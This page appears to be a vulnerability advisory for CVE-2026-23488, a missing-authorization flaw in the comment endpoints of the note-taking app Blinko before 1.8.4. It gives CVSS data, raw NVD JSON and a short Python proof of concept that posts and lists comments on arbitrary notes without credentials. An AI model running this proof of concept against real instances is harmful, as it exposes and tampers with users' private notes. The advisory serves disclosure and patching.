Security Vulnerability Report
中文
CVE-2026-23488 CVSS 5.3 MEDIUM

CVE-2026-23488

Published: 2026-03-23 21:17:03
Last Modified: 2026-03-24 18:03:47

Description

Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the /api/v1/comment/create endpoint has an unauthorized access vulnerability, allowing attackers to post comments on any note (including private notes) without authorization, even if the note has not been publicly shared. The /api/v1/comment/list endpoint has the same issue, allowing unauthorized viewing of comments on all notes. This issue has been patched in version 1.8.4.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:blinko:blinko:*:*:*:*:*:*:*:* - VULNERABLE
Blinko < 1.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url, note_id): """ Proof of Concept for CVE-2026-23488 Tests unauthorized comment creation and listing. """ # Endpoint for creating comments create_url = f"{target_url}/api/v1/comment/create" # Endpoint for listing comments list_url = f"{target_url}/api/v1/comment/list" headers = { "Content-Type": "application/json", # Note: No Authorization/Cookie header is sent to exploit the vulnerability } # Attempt to create a comment on a private note without auth payload_create = { "noteId": note_id, "content": "Unauthorized comment via CVE-2026-23488" } try: response = requests.post(create_url, json=payload_create, headers=headers, timeout=5) if response.status_code == 200 or response.status_code == 201: print(f"[+] Vulnerability Confirmed: Successfully created comment on Note ID {note_id}") print(f" Response: {response.text}") else: print(f"[-] Failed to create comment. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment creation: {e}") # Attempt to list comments on a private note without auth params_list = { "noteId": note_id } try: response = requests.get(list_url, params=params_list, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability Confirmed: Successfully listed comments for Note ID {note_id}") print(f" Data: {response.text}") else: print(f"[-] Failed to list comments. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment listing: {e}") if __name__ == "__main__": # Replace with actual target and a valid note ID target = "http://localhost:3000" target_note_id = 1 check_vulnerability(target, target_note_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23488", "sourceIdentifier": "[email protected]", "published": "2026-03-23T21:17:03.277", "lastModified": "2026-03-24T18:03:46.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the /api/v1/comment/create endpoint has an unauthorized access vulnerability, allowing attackers to post comments on any note (including private notes) without authorization, even if the note has not been publicly shared. The /api/v1/comment/list endpoint has the same issue, allowing unauthorized viewing of comments on all notes. This issue has been patched in version 1.8.4."}, {"lang": "es", "value": "Blinko es un proyecto de toma de notas en tarjetas impulsado por IA. Antes de la versión 1.8.4, el endpoint /api/v1/comment/create tiene una vulnerabilidad de acceso no autorizado, permitiendo a los atacantes publicar comentarios en cualquier nota (incluidas las notas privadas) sin autorización, incluso si la nota no ha sido compartida públicamente. El endpoint /api/v1/comment/list tiene el mismo problema, permitiendo la visualización no autorizada de comentarios en todas las notas. Este problema ha sido parcheado en la versión 1.8.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blinko:blinko:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.4", "matchCriteriaId": "31941A3D-C688-40DF-AA55-1AF9056275D0"}]}]}], "references": [{"url": "https://github.com/blinkospace/blinko/commit/4623dd02bdeed768ffa6fea4cc2f8644cbb08c5e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/blinkospace/blinko/pull/1089", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/blinkospace/blinko/releases/tag/1.8.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/blinkospace/blinko/security/advisories/GHSA-84hm-vw62-472m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}